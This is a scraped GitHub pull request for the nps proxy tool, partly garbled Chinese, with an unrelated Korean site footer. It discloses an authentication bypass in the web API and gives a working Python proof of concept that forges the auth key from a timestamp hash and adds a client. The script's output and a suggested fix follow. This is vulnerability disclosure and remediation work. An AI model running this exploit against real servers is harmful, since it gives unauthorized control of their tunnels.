•  


fix: unauthorized access due to 'web api' enabled by defalut by zgbsm · Pull Request #1091 · ehang-io/nps · GitHub
Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement . We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix: unauthorized access due to 'web api' enabled by defalut #1091

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

zgbsm
Copy link

据?nps有一?未授???漏洞0day,?才?了一下??漏洞是存在的。

在配置文件auth_key被注?的情?下,依然可以通?web api?行管理,poc如下:

import
 time

import
 hashlib

import
 requests


md5
 =
 hashlib
.
md5
()
now
 =
 time
.
time
()
md5
.
update
(
str
(
int
(
now
)).
encode
())
key
 =
 md5
.
hexdigest
()
print
(
"get client list:"
)
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"offset"
: 
0
, 
"limit"
: 
10
, 
"order"
: 
"asc"
}
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/list"
, 
post_data
)
print
(
resp
.
text
)
print
()
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"remark"
: 
"1"
, 
"u"
: 
"1"
, 
"p"
: 
"1"
, 
"vkey"
: 
"1"
,
             
"config_conn_allow"
: 
"1"
, 
"compress"
: 
"0"
, 
"crypt"
: 
"0"
}
print
(
"add client:"
)
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/add"
, 
post_data
)
print
(
resp
.
text
)
print
()
print
(
"get client list:"
)
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"offset"
: 
0
, 
"limit"
: 
10
, 
"order"
: 
"asc"
}
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/list"
, 
post_data
)
print
(
resp
.
text
)

?行?果:

sh-3.2# python3 poc.py 
get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [],
  "total": 0
}

add client:
{
  "msg": "add success",
  "status": 1
}

get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [
    {
      "Cnf": {
        "U": "1",
        "P": "1",
        "Compress": false,
        "Crypt": false
      },
      "Id": 6,
      "VerifyKey": "1",
      "Addr": "",
      "Remark": "1",
      "Status": true,
      "IsConnect": false,
      "RateLimit": 0,
      "Flow": {
        "ExportFlow": 0,
        "InletFlow": 0,
        "FlowLimit": 0
      },
      "Rate": {
        "NowRate": 0
      },
      "NoStore": false,
      "NoDisplay": false,
      "MaxConn": 0,
      "NowConn": 0,
      "WebUserName": "",
      "WebPassword": "",
      "ConfigConnAllow": true,
      "MaxTunnelNum": 0,
      "Version": ""
    }
  ],
  "total": 1
}
sh-3.2# 

修?建?:可以在base.go的Prepare函?里加?判?,如果configKey是空,就生成?机字符串??。

Sign up for free to join this conversation on GitHub . Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant
- "漢字路" 한글한자자동변환 서비스는 교육부 고전문헌국역지원사업의 지원으로 구축되었습니다.
- "漢字路" 한글한자자동변환 서비스는 전통문화연구회 "울산대학교한국어처리연구실 옥철영(IT융합전공)교수팀"에서 개발한 한글한자자동변환기를 바탕하여 지속적으로 공동 연구 개발하고 있는 서비스입니다.
- 현재 고유명사(인명, 지명등)을 비롯한 여러 변환오류가 있으며 이를 해결하고자 많은 연구 개발을 진행하고자 하고 있습니다. 이를 인지하시고 다른 곳에서 인용시 한자 변환 결과를 한번 더 검토하시고 사용해 주시기 바랍니다.
- 변환오류 및 건의,문의사항은 juntong@juntong.or.kr로 메일로 보내주시면 감사하겠습니다. .
Copyright ⓒ 2020 By '전통문화연구회(傳統文化硏究會)' All Rights reserved.
 한국   대만   중국   일본